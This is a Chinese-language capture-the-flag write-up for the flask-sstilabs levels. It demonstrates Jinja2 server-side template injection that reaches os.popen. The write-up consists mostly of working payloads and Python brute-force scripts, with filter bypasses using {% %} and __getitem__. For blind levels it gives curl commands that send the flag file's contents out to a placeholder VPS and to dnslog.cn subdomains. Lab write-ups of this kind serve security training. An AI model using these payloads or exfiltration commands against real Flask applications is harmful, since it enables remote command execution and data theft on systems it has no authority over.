flask-sstilabs

HERE WE GO

小tips:变量的属性 –> 变量的基类 –> 变量基类的子类 –> 子类中可以进行RCE的模板

Level-1

直接先构造payload1来寻找子类中可以进行RCE利用的模板

1
{{''.__class__.__bases__[0].__subclasses__()}}


可以看到回显出了很多的子类,此时我们将这个子类复制到记事本查看是否有我们要利用的模板,比如此时我想要利用

1
os._wrap_close

这个模块;此时发现这个子类中是有这个模块的

接着我们就需要找到这个子类的索引号以便我们接下来的利用;此时使用bp进行抓包发现是以POST的方式进行提交的,所以此时直接套用师傅们的脚本

1
2
3
4
5
6
7
8
9
10
11
import requests

headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'}
for i in range(500):
url = "http://node2.anna.nssctf.cn:28610/level/1"
data={"code":'{{''.__class__.__bases__[0].__subclasses__()['+str(i)+']}}'}
res = requests.post(url=url,data=data, headers=headers)
#print(res.text)
if 'os._wrap_close' in res.text: //此时os._wrap_close是我们需要利用的子类,若是需要换其他的子类只需要把这个os._wrap_close替换即可
print(i)


此时发现这个子类的索引是133,所以继续更换payload来利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数

1
{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__}}

此时我们可以看到各种各样的参数方法函数,我们找其中一个可利用的function popen来执行命令

payload

1
{{''.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat ../app/flag').read()}}

Level-2

1
此时过滤了{{}};我们可以利用{%%}来进行一个替换绕过

接下来的步骤还是跟Level-1的步骤是一样的
此时的脚本需要改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'}
for i in range(500):
try:
url = "http://node2.anna.nssctf.cn:28875/level/2"
data={"code":'{%print({}.__class__.__bases__[0].__subclasses__()['+str(i)+'])%}'}
res = requests.post(url=url,data=data, headers=headers)
#print(res.text)
if 'os._wrap_close' in res.text:
print(i)
except:
pass

所以此时编写payload

1
{%print(().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']('cat ../app/flag').read())%}

Level-3


这个有点意思,此时我们的输入只会回显hello和错误;此时并没有其他的回显

此时我们的做法有两种;其目的都是外带数据
1.利用VPS监听模块外带数据
exp:

1
2
3
4
5
6
7
8
9
10
11
12
import requests

headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36'}
for i in range(500):
try:
url = "http://xxx.xxx.xxx.xxxx:5000/level/3"
data={"code":'{{().__class__.__bases__[0].__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://IP:port/`cat ../app/flag`").read()}}'}
res = requests.post(url=url,data=data, headers=headers)

except:
pass

因为我的vps过期了然后没有去搭建所以这里搬运一下其他师傅的截图

2.利用DNS外带
此时我们利用 http://dnslog.cn/ 这个平台;此时我们可以在本地执行一下

1
ping %username%.4fe4ps.dnslog.cn


此时可以发现DNS将username回显了出来,证明其对我们的输入进行了一个解析;所以根据这个我们就可以利用DNS来外带数据
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'}
for i in range(500):
try:
url = "http://node1.anna.nssctf.cn:28891/level/3"
data={"code":'{{().__class__.__bases__[0].__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("curl http://`cat flag`.pnc4k5.dnslog.cn").read()}}'}
res = requests.post(url=url,data=data, headers=headers)
#print(res.text)
if 'correct' in res.text:
print(i)

except:
pass

此时获得这个类的索引之后我们就可以构造payload

1
{{().__class__.__bases__[0].__subclasses__()[133].__init__.__globals__['popen']("curl http://`cat ../app/flag`.vx32tj.dnslog.cn").read()}}

Level-4


对于索引的[]可以用pop()或__getitem__()代替[];而类的可以用__getattribute__绕过
exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0'}
for i in range(500):
try:
url = "http://node3.anna.nssctf.cn:28291/level/4"
data={"code":'{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__('+str(i)+').__init__.__globals__.__getitem__("popen")("cat ../app/flag").read()}}'}
res = requests.post(url=url,data=data, headers=headers)
if 'Hello' in res.text:
print(res.text)

except:
pass